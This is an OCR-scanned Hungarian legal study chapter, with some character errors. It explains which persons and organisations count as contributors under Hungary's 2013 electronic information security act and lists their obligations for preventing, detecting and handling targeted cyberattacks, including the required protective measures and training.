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I. BODO ATTILA PAL - ZAMBO NORA: A KOZREMUKODOK
KOTELEZETTSEGEI A CELZOTT TAMADASOK ELHARITA-
SABAN AZ IBTV. SZERINT

1. Bevezeto gondolatok

Az elektronikus informacidbiztonsaggal 6sszefiiggd feladatok ellatasanal, igy kiillondsen a fenyege-
tések felismerésénél, szlikség esetén a biztonsagi események kezelésénél mind szervezeti, mind sze-
mélyi oldalon azonosithatdak, azok a szereplok €s kotelezettségeik, amelyek a védelmi intékedések
hatékony megvalositasat szolgaljak. A hatalyos jogszabalyi rendelkezések igen sziik kereteket adnak
mind az értelmez6 rendelkezések, mind a jogok és kotelezettségek megallapitdsanal a fentiekben
emlitett személyi kor azonositasdhoz. Ebbdl ered, hogy az érintett személyek és feladataik megha-
tarozasahoz egyéb szervezetszabalyozo eszkozoket €s a kiilonb6z6 dokumentumokban megjelend
»~mindennapi gyakorlatot” is szlikséges szdmba venni.

A ,,mindennapi gyakorlatban” jelentkezd probléma, hogy a szamitogépes haldzatokon keresztiil
torténd fenyegetések egyre nagyobb veszélyt jelentenek, és ebben a korben az interneten terjedd kar-
tevok mellett a célzott timadasok a leggyakoribbak. Ezek a fenyegetések mind a felhasznalokat, mind
a technikai eszkozoket érintik és az egyik legelterjedtebb veszélyforrasok koz¢ tartoznak.

Jelen tananyagban az elektronikus informaciobiztonsagban kozremiikodé személyek korét €s
kotelezettségeit vessziik sorra az el6zéekben emlitett sziik keretek kozott, az allami és dnkormany-
zati szervek elektronikus informacidbiztonsagardl szo616 2013. évi L. torvény (a tovabbiakban: Ibtv.)
¢€s egyes végrehajtasi rendeletei alapjan a célzott tdmadasok kezelésével 0sszefliggésben.

2. Alapvetés és értelmezési keretek

A jogok és kotelezettségek ismertetése és megismerése megkdveteli, hogy a szakanyagban targyalt
témakdor szempontjabol relevans alapfogalmakat és azok értelmezési kereteit rogzitsiik. Ennek érdeké-
ben sziikséges meghatarozni, hogy mely szerepld és milyen koriilmények kozott mindsiil kdzremiiko-
donek, illetve milyen fenyegetést, és mely biztonsagi esemény(eke)t tekinthetiink célzott timadasnak.

2.1. Mely szereplot tekintjiik kézremiikodonek?

Az elektronikus informacidbiztonsagban kozremiikodo szereploket két személyi korre adaptalva
sziikséges vizsgalni. Az egyik a természetes személyek, a masik a jogi személyek kore. A vizsga-
lat alapjat biztositd jogszabalyi kornyezet elsddlegesen az Ibtv. értelmezé rendelkezésein' alapul.
A kozremiikodd meghatarozasat az Ibtv. nem rogziti 6nalldé fogalomként, ettdl fiiggetleniil mindkét
személyi kor tekintetében az értelmezéshez iranymutatast nyujt az tizemeltetd, az adatfeldolgozo és
az adatkezel6é meghatarozasa.

' Az allami és 6nkormanyzati szervek elektronikus informaciobiztonsagarol szol6 2013. évi L. torvény (a tovabbiak-
ban: Ibtv.) 1. §-a.
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Az Ibtv. 1. § (1) bekezdésének 45. pontja szerint az allami és onkormanyzati szervek elektronikus
informaciobiztonsaganak korében lizemeltetdnek mindsill ,,az a természetes személy, jogi személy
vagy egyéni vallalkozo, aki vagy amely az elektronikus informdcios rendszer vagy annak részei mii-
kodtetését végzi és a miikodésért felelos”. Adatfeldolgozonak az a természetes vagy jogi személy,
mindsiil, aki vagy amely az Ibtv. személyi hatdlya ala tartozd szervezeteknél szerz6dés alapjan — be-
leértve a jogszabaly rendelkezése alapjan kotott szerzodést is — adatok feldolgozasat végzi.?

Az Ibtv. személyi hatalya ala tartozo6 szervek® kore igen széles, ide tartoznak:

a) a kozponti dllamigazgatasi szervek, ezen beliil:

aa) a minisztériumok,

ab) az autonoém allamigazgatasi szervek,

ac) a kormanyhivatal, mint térvény altal 1étrehozott, a Kormany iranyitasa alatt miikodo
szerv,

ad) a kozponti hivatalok, mint korményrendelet altal 1étrehozott, miniszter iranyitasa alatt
mikodo szervek,

ae) arendvédelmi szervek,

af) az 6nallo szabalyoz6 szervek,

b) a Koztarsasagi Elnoki Hivatal,

¢) az Orszaggytlés Hivatal,

d) az Alkotmanybirdsag Hivatala,

e) az Orszagos Birdsagi Hivatal és a birdsagok,

f) aziigyészségek,

g) az Alapvetd Jogok Biztosanak Hivatala,

h) az Allami Szamvevészék,

i) a Magyar Nemzeti Bank,

Jj) afévérosi és megyei kormanyhivatalok,

k) a helyi és a nemzetiségi Onkormanyzatok képviseld-testiiletének hivatala (polgarmesteri
hivatal, megyei 6nkormanyzati hivatal, kozos dnkormanyzati hivatal), a hat6sagi igazgatasi
tarsulasok,

/) ahelyi onkormanyzatok képviselo-testiiletének hivatalaira, a hatosagi igazgatasi tarsulasokra,

m) a Magyar Honvédség, valamint

az a)-m) pontokban meghatarozott szervek szdmara adatkezelést végzok.

Az adatkezeld fogalmi meghatarozasa tagabb kort dlel fel, hiszen visszahivatkozik az adatfeldol-
goz01 korre. E szerint adatkezel6 az a természetes vagy jogi személy, aki vagy amely 6nalldéan vagy
masokkal egyiitt az adatok kezelésének céljat meghatarozza, az adatkezelésre vonatkoz6 dontéseket
meghozza és végrehajtja, vagy az adatfeldolgozoval végrehajtatja.*

Az Ibtv. szerinti, fentebb rogzitett fogalmi megahatarozasok — adatfeldolgozo, adatkezeld — 2015.
julius 16-t61° az Ibtv. és az informacids onrendelkezési jogrol és az informacidszabadsagrol szold
2011. évi CXII. torvény (a tovabbiakban: Infotv.) kdzotti 6sszhang megteremtését célzo Ibtv. modo-
sitast kovetden egyeznek az Infotv. 3. §-a szerinti fogalmi meghatarozasokkal.

Specialis szereplonek mindsiil az Ibtv. személyi hatalya ala tartozé azon szervek kore, akik a nem-
zeti adatvagyon korébe tartozo allami nyilvantartasok adatfeldolgozoi feladatait® latjak el. Ez utobbi
szervezetek korét a nemzeti adatvagyon korébe tartozo allami nyilvantartasok adatfeldolgozasanak
biztositasarol szolo 38/2011. (I11. 22.) Korm. rendelet melléklete’ tartalmazza.

2 TIbtv. 1. § (1) bekezdés 3. pont.

3 Ibtv. 2. §.

4 Ibtv. 1. § (1) bekezdés 5. pont.

> Az e-kartya megvalositasahoz sziikséges egyes torvények, valamint az allami és 6nkormanyzati szervek elektronikus
informaciobiztonsagardl szo16 2013. évi L. tdrvény modositasardl szold 2015. évi CXXX. torvény 8. § (1) bekezdése.

¢ TIbtv. 2. § (2) bekezdés b) pont.

7 Lasd 3. melléklet.
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Mindhéarom fogalom — lizemeltetd, adatfeldolgozd, adatkezel6 — mindkét személyi korre vonatko-
z6an azonosithato, igy a fogalmak ala tartozo személyi és szervezeti kor az Ibtv. szerint az elektroni-
kus informaciobiztonsag szervezeti érvényesiilését illetden kozremitkodonek mindsiil. Az adatkeze-
1ést illetve az adatfeldolgozast végzo vagy végeztetd jogi személyt vagy egyéni vallalkozot, valamint
az lizemeltetdt az Ibtv. egyiittesen szervezetként definialja®.

Az adatfeldolgozon, az adatkezelon €s az lizemelteton til kozremiikodonek tekinti tovabba az
Ibtv. az elektronikus informacids rendszer’ létrehozasaban, auditalasaban, karbantartasaban vagy
javitasaban, tovabba tervezésében, fejlesztésében, vizsgalatdban, kockézatelemzésében és kockazat-
kezelésében részt vevok korét. '

Az Ibtv. személyi hatalya ala tartoz6 szervek koziil a kozponti allamigazgatasi szervek egy ré-
szénél' megjelenik a kdzpontositott informatikai és elektronikus hirkdzlési szolgaltatasokrol szolo
309/2011. (XII. 23.) Korm. rendelet (a tovabbiakban: 309/2011. (XII. 23.) Korm. rendelet) alapjan
egy specialis szerepld, az 1. §-ban kijelolt kozponti szolgaltatd, a Nemzeti Infokommunikacios
Szolgaltato Zrt. (a tovabbiakban: kdzponti szolgaltato).

A 309/2011. (XII. 23.) Korm. rendelet 1. melléklete tartalmazza a kdzponti szolgaltatd altal ko-
telezOen biztositandd kdzpontositott informatikai és elektronikus hirkozlési szolgaltatasok korét'2,
A kozponti szolgaltatd a 309/2011. (XII. 23.) Korm. rendeletben biztositott szolgaltatdsok korében,
mint lizemeltetd és mint adatkezeld jar el, ez alapjan kozremiikodonek mindsiil. Ugyanigy kozremii-
kodének mindsiil a 309/2011. (XII. 23.) Korm. rendelet 3. mellékletében'® meghatarozott szolgal-
tatdsok korében az IdomSoft Informatikai Zartkoriien Miikodd Részvénytarsasag (a tovabbiakban:
IdomSoft Zrt.), illetve a 4. mellékletben meghatarozott szolgéltatasok korében a KOPINT-DATORG
Informatikai és Vagyonkezeld Kft.

Tovabbi tampontot ad a kozremiikodd fogalmi meghatarozasanak rogzitéséhez az allami és dnkor-
manyzati szervek elektronikus informaciobiztonsagarol szolo térvényben meghatarozott vezetdi és az
elektronikus informdacios rendszer biztonsagaért felelds személyek képzésének és tovabbképzésének
tartalmarol sz6l6 26/2013. (X. 21.) KIM rendelet (a tovabbiakban: KIM rendelet). A KIM rendelet
tartalma az Ibtv. 13. § (11) bekezdésében eldirt kotelezettség teljesitéséhez kapcesolddik, amely szerint
az elektronikus informaciobiztonsagban érintett személyi kor, igy az elektronikus informécios rend-
szer biztonsagaért felelds személy és az elektronikus informécios rendszer biztonsagaval 6sszefiiggd
feladatok ellatdsaban részt vevo személyek miniszteri rendeletben meghatarozott rendszeres szakmai
képzésen, tovabbképzésen kotelesek részt venni. E kotelezettség szempontjabdl a személyi kor csak
természetes személyre értelmezhetd.

A KIM rendelet értelmez6 rendelkezései szerint!* a képzési kotelezettség teljesitésével dsszefiig-
gésben elektronikus informacios rendszer biztonsagaval 6sszefiiggd feladatok ellatasaban részt vevo
személynek — témank szempontjabol kozremiikodének — mindsiilnek:

a) az allami és Onkormanyzati szervek esetében a szervezeti ¢s miikodési szabalyzat és a munka-
kori leirasok alapjan,

b) az Ibtv. hatdlya ala tartozo egyéb szervek esetében a munkakori leirasban vagy egyéb modon
az elektronikus informacidbiztonsagi feladatok ellatasdval megbizott személyek.

8 Ibtv. 1. § (1) bekezdés 43. pont.

Elektronikus informacios rendszer: az adatok, informacidk kezelésére hasznalt eszkdzok (kornyezeti infrastruktira,

hardver, halozat és adathordozok), eljarasok (szabalyozas, szoftver és kapcsolodd folyamatok), valamint az ezeket

kezeld személyek egyiittese — Ibtv 1. § (1) bekezdés 14b. pont.

10 Tbtv. 11. §.

" A kozpontositott informatikai és elektronikus hirkdzlési szolgaltatasokrol szolo 309/2011. (XII. 23.) Korm. rendelet
2. melléklete.

12° Lasd 1. melléklet.

13 Lasd 2. melléklet.

Az éllami és dnkormanyzati szervek elektronikus informaciobiztonsagardl szol6 tdrvényben meghatarozott vezetdi

¢s az elektronikus informacids rendszer biztonsagaért felelds személyek képzésének és tovabbképzésének tartalmarol

sz0616 26/2013. (X. 21.) KIM rendelet (a tovabbiakban: KIM rendelet) 2. § 3. pont.



I. A KOZREMUKODOK KOTELEZETTSEGEI A CELZOTT TAMADASOK ELHARITASABAN AZ IBTV. SZERINT

Fentieken tal kozremiikodének tekinthetOk a felhasznalok' is, akik az értelmezd rendelkezések
szerint az egy adott elektronikus informacids rendszert igénybevevd személyek. Ilyen személynek
tekinthet6 minden olyan munkatars, aki az adott elektronikus informacios rendszerhez felhasznaloi
jogosultsaggal rendelkezik (utobbi szervezetenként és elektronikus informécids rendszerenként elté-
16, kereteit a szervezet Informatikai Biztonsagi Szabalyzata tartalmazza).

Osszegzésként megallapithatd, hogy minden olyan feladat, tevékenység és szolgaltatas, amely az
elektronikus informaciobiztonsaghoz kapcsolodik ¢€s leird jelleggel, mint kdtelezettség megjelenik
valamely szervezetszabalyz6 dokumentumban, munkakdri leirdsban vagy szerz6désben kozremiiko-
doi tevékenységhez kothetd. Ez alapjan bar az Ibtv. €s a fentiekben ismertetett jogszabalyok nem
hatdrozzak meg a kozremiikodd fogalmat, véleményiink szerint az az alabbiak szerint rogzithetd.
Kozremiikodonek mindsiil egy szervezet miikddése soran minden olyan természetes és jogi személy,
amely feladat- és hataskorébdl adédoan magatartasaval, tevékenységével hozzajarul az elektronikus
informaciobiztonsag szervezeten beliili érvényesiiléséhez (a tovabbiakban egyiitt: kozremiikodo).'

2.2. Mi minosul célzott tamadasnak?

Az értelmezési keretek rogzitéséhez a kozremiikodé adekvat fogalmi hasznélata mellett sziikséges,
hogy meghatarozasra keriiljon mi mindsiil célzott tdmadasnak. A célzott timadas az internetrdl érke-
70 fenyegetések korébe tartozik, amely soran a tdmado az elektronikus informécios rendszer infra-
strukturalis szegmensét célozza annak érdekében, hogy e szegmensben feliigyelet nélkiil ,,tevékeny-
kedjen”. Ezen magatartas arra irdnyul, hogy a tdmado az adott célpont eszkdze feletti rendelkezési
jogosultsag gyakorlasat megszerezze. Rendkiviil 6sszetett modszereket €s magas szakértelmet igény-
16 tamadasi forma, amely ellen nehéz védekezni €s igy gyakran jar ,,eredménnyel”.

Ebbdl eredden a célzott tamadasok egyarant mindsiilnek fenyegetésnek, és ha a kivant célt elérik,
akkor biztonsagi eseménynek. Az Ibtv. és a hatdlyos jogszabalyi kornyezet — a kozremiikddo fogal-
mahoz hasonloan — a célzott tamadasok meghatarozasat sem rogziti az értelmez6 rendelkezések ko-
z0tt, azonban a sziikséges kereteket a fenti két fogalom meghatarozasaval megadja.

Az Ibtv. szerint fenyegetésnek kell tekinteni minden olyan lehetséges miiveletet vagy eseményt,
illetve mulasztasos cselekmény, amely sértheti az elektronikus informacids rendszer €s elemei vé-
dettségét, biztonsagat.'” Ha a fenyegetések ellen hozott tevékenységek és intézkedések Osszessége
nem megfeleld a fenyegetésbdl biztonsagi esemény lesz. Biztonsagi eseménynek az Ibtv. azt a nem
kivant vagy nem vart egyedi esemény vagy eseménysorozatot tekinti, amely az elektronikus informa-
cios rendszerben kedvezdtlen valtozast vagy egy elozdleg ismeretlen helyzetet idéz eld, és amelynek
hatasara az informacid bizalmassaga, sértetlensége, hitelessége, funkcionalitdsa vagy rendelkezésre
allasa elvész, illetve megséril.'®

A biztonsagi esemény fogalmanak az értelmezéséhez segitséget nytjt, hogy az Ibtv.-ben 6nallo
fogalomként jelenik meg a bizalmassag," a sértetlenség,™ a rendelkezésre allas*'. Az értelmezé ren-
delkezések rogzitik, hogy:

a) Bizalmassagnak az elektronikus informacios rendszer azon tulajdonsagat kell érteni, amely
szerint az elektronikus informacios rendszerben tarolt adatot, informéciot csak az arra jogo-
sultak és csak a jogosultsdguk szintje szerint ismerhetik meg, hasznalhatjak fel, illetve rendel-
kezhetnek annak felhasznalasarol.

5 Ibtv. 1. § (1) bekezdés 18. pont.
16 SzerzOk fogalom meghatarozasa.
17 Ibtv. 1. § (1) bekezdés 19. pont.
8 Ibtv. 1. § (1) bekezdés 9. pont.

¥ Ibtv. 1. § (1) bekezdés 8. pont.

20 Ibtv. 1. § (1) bekezdés 39. pont.
2L Ibtv. 1. § (1) bekezdés 38. pont.



CELZOTT KIBERTAMADASOK

b) Sértetlenségnek az adat azon tulajdonsagat kell érteni, amely szerint:
ba) az adat tartalma és tulajdonsagai az adattal szemben felallitott kdvetelményekkel meg-
egyeznek, az adat az elvart forrasbol szarmazik, azaz hiteles, és
bb) az adat szarmazasa ellendrizhetd, azaz eredete ellendrizhetd (letagadhatatlan). Sértet-
lenség tovabba az elektronikus informacios rendszer elemeinek azon tulajdonséga is,
amely arra vonatkozik, hogy az elektronikus informécios rendszer eleme rendeltetésé-
nek megfeleléen haszndlhato.
¢) Rendelkezésre allas alatt annak biztositasat kell érteni, hogy az elektronikus informacios
rendszerek az arra jogosult személy szamara elérhetdek és az abban kezelt adatok felhasznal-
hatdak.

A hatélyos szabalyozasi kornyezet megkiilonbozteti a biztonsagi esemény fogalmat a stlyos biz-
tonsagi esemény fogalmatol. Sulyos biztonsagi eseménynek kell tekinteni azt az informatikai ese-
ményt, amely bekovetkezése esetén:

a) az allami miikodés szempontjabol kritikus adat bizalmassaga, sértetlensége vagy rendelke-
zésre allasa sériilhet,

b) emberi életek keriilhetnek kozvetlen veszélybe, személyi sériilések nagy szamban kovetkez-
hetnek be,

¢) sulyos bizalomvesztés kovetkezhet be az allammal vagy az érintett szervezettel szemben,

d) alapveté emberi, vagy a tarsadalom miikodése szempontjabol kiemelt jogok sériilhetnek.?

2.3. A kézremiikodok helye és szerepe az elektronikus informaciobiztonsdagban

Az elézbéekben rogzitettiik és elhataroltuk egymastol azokat az alapfogalmakat, amelyek zsinormér-
tékként szolgalnak a témakor ismertetéséhez, ezaltal ismerjiik a kdzremiikodo szerepldk fogalmat és
korét. Ezen ismeretek birtokdban sziikséges elhelyezni az elektronikus informécidbiztonsag kornye-
zetében az ismertetett szereploket és meghatarozni szerepliket.

A kozremitkoddk elektronikus informéciobiztonsaggal kapcsolatos helye egy szervezetben az altal
hatarozhaté meg, hogy milyen alaptevékenységet végeznek feladat- és hataskoriikkel 0sszefiiggés-
ben. Az értelmezési keretekbdl kiindulva ezek lehetnek:

a) lzemeltetoi,

b) adatkezeldi,

¢) adatfeldolgozdi,

d) kozponti szolgaltatoi,
e) felhasznaloi

szerepkorokkel osszefiiggd alaptevékenységek. Ezen tevékenységi korok a szervezeti struktiraban
,barhol” elhelyezhetok és gyakorlati megjelenési formajukat tekintve lehetnek 6nall6é vagy kapcsolt
munkakorok, szerz0dés vagy jogszabaly altal ellatott feladatok. A munkakor alaptt megkozelités ese-
tében a szervezeti hierarchia megjelenési formaja a vezetdi szerepkdr és a szervezeti egység szintjén
is azonosithatd. Szerzédéses jogviszony ¢és jogszabalyi kijelolés esetén az ellatott feladat mennyisége
és mélysége rogzitett keretek kozott mozog. A betdltott szerepkorok sokszinségétdl €s a szervezetben
elfoglalt hely valtozatossagatol fliggetleniil az alapvetd kotelezettségek kore minden kozremiikodore
kiterjed, amely kotelezettségek az Ibtv.-ben megjelend timogatod védelmi intézkedésekre” ¢€s a biz-
tonsagtudatos miikddésre is visszavezethetdek.

2 Ibtv. 1. § (1) bekezdés 41a. pont.
2 Ibtv. 6. §.

10



I. A KOZREMUKODOK KOTELEZETTSEGEI A CELZOTT TAMADASOK ELHARITASABAN AZ IBTV. SZERINT

3. Kotelezettségek az Ibtv. és végrehajtasi szabalyai tiikkrében

A kozremiikodok kotelezettségeire vonatkozd generalis szabaly az Ibtv.-ben el6irt kovetelmények
teljesiilése a szervezet elektronikus informécids rendszereit érintd, biztonsaggal osszefliggd tevé-
kenységiik soran. Ennek teljesiilését az elektronikus informacios rendszer biztonsagaért felelds sze-
mély?* biztositja. A kozremlikodét a biztonsagi kovetelmények teljesiilésével kapcsolatban tajékozta-
tasi kotelezettség terheli az elektronikus informacios rendszer biztonsagaért felelos személy részére.
Ezen t4jékoztatas keretében tovabbi kotelezettsége, hogy:
a) a kovetelményeknek vald megfeleloség aldtdmasztasahoz sziikséges, a kozremiikodoi tevé-
kenységgel kapcsolatos adatokat, illetve
b) az elektronikus informécids rendszerek biztonsaga targyaban keletkezett valamennyi doku-
mentumot az elektronikus informacios rendszer biztonsagéaért felelds személy rendelkezésre
bocsassa.”

Az Ibtv. az elektronikus informaciobiztonsagi kovetelmények kozott alapvetésként rogziti,® hogy
a védelmi intézkedéseknek — a PreDeCo (Preventive-Detective-Corrective) elvet alapul véve — tamo-
gatniuk kell:

a) amegeldzést, azaz a fenyegetés altal okozhato hatas bekovetkezésének elkeriilését,?’

b) a korai figyelmeztetést, azaz olyan aktiv szervezeti cselekvést, amely soran valamely fenye-
getés varhatd bekovetkezésének jelzésére keriil sor a fenyegetés bekovetkezése elétt annyi
id6vel, hogy hatékony védelmi intézkedéseket lehessen hozni,*

c) az észlelést, azaz a biztonsagi esemény bekovetkezésének felismerését,” és

d) areagalast, amely a bekovetkezett biztonsagi esemény terjedésének megakadalyozasara vagy
késleltetésére, a tovabbi karok mérséklésére tett intézkedéseket foglalja magaba,*® és magat

e) a biztonsagi események kezelését, amely magaba foglalja a dokumentalast, a kovetkezmé-
nyek felszamolasat, a bekdvetkezés okainak és feleldseinek megallapitasat, és a hasonld biz-
tonsagi események jovobeni eléforduldsanak megakadalyozasa érdekében végzett tervszerli
tevékenységet.’!

Fentiekbol kovetkezik, hogy minden kdzremitkoddnek a feladat- és hataskorébe tartozo tevékeny-
sége soran a célzott timadasok elharitasa érdekében ugy kell eljarnia, hogy azzal hozzajaruljon:
a) a célzott tamadéasok megel6zéséhez,
b) a célzott tAmadéasokra vonatkoz6 korai figyelmeztetés megvalosuldsahoz,
¢) maganak a célzott timadasnak az észlelés¢hez, valamint
d) célzott tamadas bekovetkezése esetén a reagalas hatékony megvaldsulasdhoz, és a biztonsagi
esemény kezelés¢hez.

Minden fenti résztevékenység soran sziikség szerint érvényesiilnie kell az dllami és 6nkormanyzati
szervek elektronikus informaciobiztonsagarol szold 2013. évi L. térvényben meghatarozott techno-
logiai biztonsagi, valamint biztonsagos informacids eszkdzokre, termékekre tovabba a biztonsagi
osztalyba ¢és a biztonsagi szintbe soroldsra vonatkozé kdvetelményekrdl szold 41/2015. (VII. 15.)
BM rendeletben (a tovabbiakban: BM rendelet) eldirt védelmi intézkedéseknek, amelyek az alabbiak:

2 TIbtv. 13. § (5) bekezdés.

2 Ibtv. 13. § (7) bekezdés.

2% TIbtv. 6. §.

27 Ibtv. 1. § (1) bekezdés 36. pont.
2 Ibtv. 1. § (1) bekezdés 32. pont.
2 Ibtv. 1. § (1) bekezdés 17. pont.
30 Tbtv. 1. § (1) bekezdés 37. pont.
3 Tbtv. 1. § (1) bekezdés 10. pont.
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a) adminisztrativ védelem (a védelem érdekében hozott szervezési, szabalyozasi, ellendrzési
intézkedések Osszessége, €s az oktatas),*

b) fizikai védelem (a fizikai térben megvalosul6d fenyegetések elleni védelem, ide sorolva a ter-
mészeti csapas elleni és a mechanikai, az ¢l6erds védelmet, az elektronikai jelzérendszert, a
beléptetd és a megfigyeld rendszert, a taparamellatast, a sugarzott és vezetett zavarvédelmet,
a klimatizalast és a tlizvédelmet),

¢) logikai védelem (az elektronikus informacioés rendszerben informacidtechnologiai eszk6zok-
kel és eljarasokkal (programokkal, protokollokkal) kialakitott védelem).**

A védelmi intézkedések korét a BM rendelet az elektronikus informacids rendszer biztonsagi osz-

talyba*® sorolt értékéhez igazodva hatarozza meg. De melyek azok a védelmi intézkedések, amelyek a
biztonsagi osztalyba sorolas eredményétdl és a kozremiikodo szerepvallaldsdnak mértékétdl fiiggden
sziikség szerint a célzott tAmadasok elharitasahoz kapcsolddnak?

Az adminisztrativ védelmi intézkedések terén a jogi személy kdzremiikodének a kozremitkddés mér-
tékétdl fiiggden rendelkeznie kell:*

a) alapfeltételként elektronikus informécios rendszerek biztonsagéaért felelds személlyel,
b) a megeldzés érdekében:

ba) informatikai biztonsagi szabalyzattal,

bb) kockazatelemzési és kockazatkezelési eljarasrenddel,

bc) tizletmenet folytonossagra vonatkoz6 eljarasrenddel,

bd) a biztonsagtudatossagot szem el6tt tartd képzési eljarasrenddel,

be) az elektronikus informécios rendszerek nyilvantartdsaval,

c) a megeldzés, a korai figyelmeztetés, az észlelés, a reagalas és a biztonsagi esemény kezelé-
sére vonatkozoan olyan biztonsagi eseménykezelési eljarasrenddel, amely kitér a biztonsagi
események figyelésére, jelentésére és a képzésre,

d) a megel6zés és a korai figyelmeztetés érdekében olyan személybiztonsagi eljarasrenddel,
amely kitér a munkakorok, feladatok biztonsagi szempontu besoroldsara és az interneten
tantsitando viselkedési szabalyokra.

A fizikai védelmi intézkedések terén a jogi személy kdzremlikodonek a kozremitkodés mértékétol
fliggben rendelkeznie kell*”:

a) amegeldzés érdekében a belépési engedélyezésre vonatkoz6 eljarasrenddel,

b) akorai figyelmeztetés €s az €szlelés érdekében behatolés riasztassal, észleld berendezésekkel,
hoémérséklet és paratartalom ellendrzéssel, tiizvédelemmel,

c) a reagalas érdekében tartalék aramellatassal, vészkikapcsolasi renddel és vészvilagitassal,
tlizelfojtd berendezéssel, viz- €s mas, csOvezetéken szallitott anyag okozta kar elleni véde-
lemmel.

32
33
34
35
36

37

Ibtv. 1. § (1) bekezdés 6. pont.

Ibtv. 1. § (1) bekezdés 20. pont.

Ibtv. 1. § (1) bekezdés 34. pont.

Ibtv. 7-8. §-ok.

Az éllami és dnkormanyzati szervek elektronikus informéciobiztonsagardl szold 2013. évi L. térvényben meghata-
rozott technolédgiai biztonsagi, valamint biztonsagos informacios eszkdzokre, termékekre tovabba a biztonsagi osz-
talyba és a biztonsagi szintbe sorolasra vonatkozé kovetelményekrol sz6l6 41/2015. (VIL. 15.) BM rendeletben (a to-
vabbiakban: BM rendelet) 3. melléklet 3.1. alpontja, amely az egyes védelmi intézkedések alabontasat is tartalmazza,
ezek sziikségessége ¢€s teljesiilése egyedi vizsgalat targya.

BM rendelet 3. melléklet 3.2. alpontja amely az egyes védelmi intézkedések alabontasat is tartalmazza, ezek sziiksé-
gessége ¢s teljesiilése egyedi vizsgalat targya.

12



I. A KOZREMUKODOK KOTELEZETTSEGEI A CELZOTT TAMADASOK ELHARITASABAN AZ IBTV. SZERINT

A logikai védelmi intézkedések terén a jogi személy kozremiikodonek a kdzremiikodés mértékétol
fiiggden rendelkeznie kell:*®
a) amegelozés érdekében sziikség esetén:
aa) biztonsagtervezési szabalyzattal,
ab) rendszerbiztonsagi tervvel,
ac) az elektronikus informacids rendszerre vonatkozé tesztelési, képzési €s ellendrzési
tervvel,
ad) konfiguraciokezelési eljarasrenddel,
ae) rendszer karbantartasi eljarasrenddel,
af) adathordozok védelmére vonatkozo eljarasrenddel,
ag) azonositasi és hitelesitési eljarasrenddel,
ah) hozzaférés ellendrzési eljarasrenddel,
ai) rendszer- és informdaciosértetlenségre vonatkozo6 eljarasrenddel, amelyet {izemeltetési
szolgaltatasi szerzddés esetén szerzddéses kotelemként kell érvényesiteni,
b) a megeldzes €s a korai figyelmeztetés érdekében sziikség esetén biztonsagértékelési tervvel
¢s az eredmény elemzésével, naplozasi eljarasrenddel valamint rendszer- és kommunikacio
védelmi eljarasrenddel.

Az elézéekben felsorolt adminisztrativ, fizikai €s logikai védelmi intézkedések annal nagyobb
mértékben és mélységben kell, hogy rendelkezésre alljanak, minél magasabb az elektronikus infor-
macios rendszer biztonsagi osztalya, és minél sokrétiibb a kozremiikodo szerepvallalasa. Kiillonosen
igaz ez a logikai védelmi intézkedések rendelkezésre allasa esetén. Lathatd, hogy a kozremiikodoket
alapvetden a megeldzést célzd védelmi intézkedések terhelik, azonban adott esetben egy adatfeldol-
g0z0, adatkezeld vagy iizemelteto a teljes védelmi intézkedési katalogus megvalodsitasdban is érintett
lehet. Fészabalyként kell, hogy érvényesiiljon, hogy jogi személy kdzremiikodd esetében a BM ren-
deletben eldirt védelmi intézkedések sziikségességét €s teljesiilését egyedileg kell vizsgélni.

Fenti védelmi intézkedések elsddlegesen tehat a jogi személy kozremiikddo esetében értelmezhe-
tok, természetes személy kozremiikodo esetén ezek a kotelezettségek az adott magatartadsban megje-
lend cselekvések és viselkedési formak révén érvényesiilnek azzal, hogy a kozremiikoddnek ugy kell
eljarnia, ahogy az az adott helyzetben tdle elvarhat6. A szervezeti szabalyzokban megjelend kotele-
zettségek betartasa esetiikben alapveté munkajogi kotelezettség.

A BM rendeletben eldirt €s fent részletezett védelmi intézkedések mellett a megeldzést szolgalo
tovabbi kotelezettség a biztonsagtudatossagot, a tudas szinten tartasat €s a szakmai fejlédést célzo, a
KIM rendeletben eldirt képzésen vald részvétel. A kdzremitkddod fogalmi kereteinek meghatarozasa-
nal rogzitettiik, hogy a KIM rendeletben szerepld, az elektronikus informécios rendszer biztonsagaval
Osszefiiggd feladatok ellatdsdban részt vevd személyek (a tovabbiakban: részt vevd személyek) koz-
remiikodonek mindsiilnek. A részt vevo személyeket az alabbi képzések érinthetik:

a) két féléves, szakiranyu tovabbképzés valaszthato jelleggel,*

b) 50 6ras tovabbképzés, amelyen egy alkalommal kételezd részt venni, kivéve, ha a kézremii-
kodo mar elvégezte az a) pont szerinti szakiranyu tovabbképzést, vagy a KIM rendeletben
meghatarozott, érvényes oklevéllel rendelkezik,*’

¢) 25 oras éves tovabbképzésben, kotelezo jelleggel, amely alol mentességgel nem rendelkezik.*!

3% BM rendelet 3. melléklet 3.3. alpontja, amely az egyes védelmi intézkedések alabontasat is tartalmazza, ezek sziiksé-

gessége ¢s teljesiilése egyedi vizsgalat targya.
3 KIM rendelet 4-8. §-ok.
40 KIM rendelet 9-13. §-ok.
41 KIM rendelet 14-18. §-ok.
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A KIM rendelet alapjan a részt vevo személyek esetében az 50 oras tovabbképzes aloli felmentés-
nek mindsiil:

a) az Information Systems Audit and Controll Association (ISACA) altal kiadott:

aa) Certified Information System Auditor (CISA), vagy
ab) Certified Information Security Manager (CISM), vagy
ac) Certified in Risk and Information Systems Control (CRISC),

b) az International Information Systems Security Certification Consortium Inc. 4ltal kiadott
Certified Information Systems Security Professional (CISSP) érvényes oklevél megléte.*

A felhasznalok részére a KIM rendeletben eldirt 25 oras éves tovabbképzés elvégzése kotelezo,
azonban ettdl fliiggden a szervezet belsd szabalyzodiban (példaul: informatikai biztonsagi szabalyzat,
képzési terv) célszerll a biztonsdgtudatossagra vonatkozo képzési lehetdségeket rogziteni. Ennek
0sszhangban kell allni a BM rendelet 3. melléklet Adminisztrativ védelmi intézkedések 3.1.7.2. al-
pontjaban eldirt — és az 1. biztonsagi osztalytol kotelezd — képzési eljarasrenddel.

A kozponti szolgéltatonak és kozremiikoddnek mindsiilé szervezetnek az informacidbiztonsaggal
kapcsolatos specialis feladatait a kdzpontositott informatikai és elektronikus hirkézlési szolgaltatd
informdciobiztonsaggal kapcsolatos feladatkorérdl szolo 186/2015. (VII. 13.) Korm. rendelet (a to-
vabbiakban: 186/2015. (VII. 13.) Korm. rendelet) tartalmazza. A 186/2015. (VIL. 13.) Korm. rendelet
a kozponti szolgaltatod részére a biztonsagi események kezelésével Osszefliggésben egyiittmitkodési
kotelezettséget ir eld a szervezet, a Nemzeti Elektronikus Informaciobiztonsagi Hatosag és az ese-
ménykezeld kdzpontok® iranyaba.*

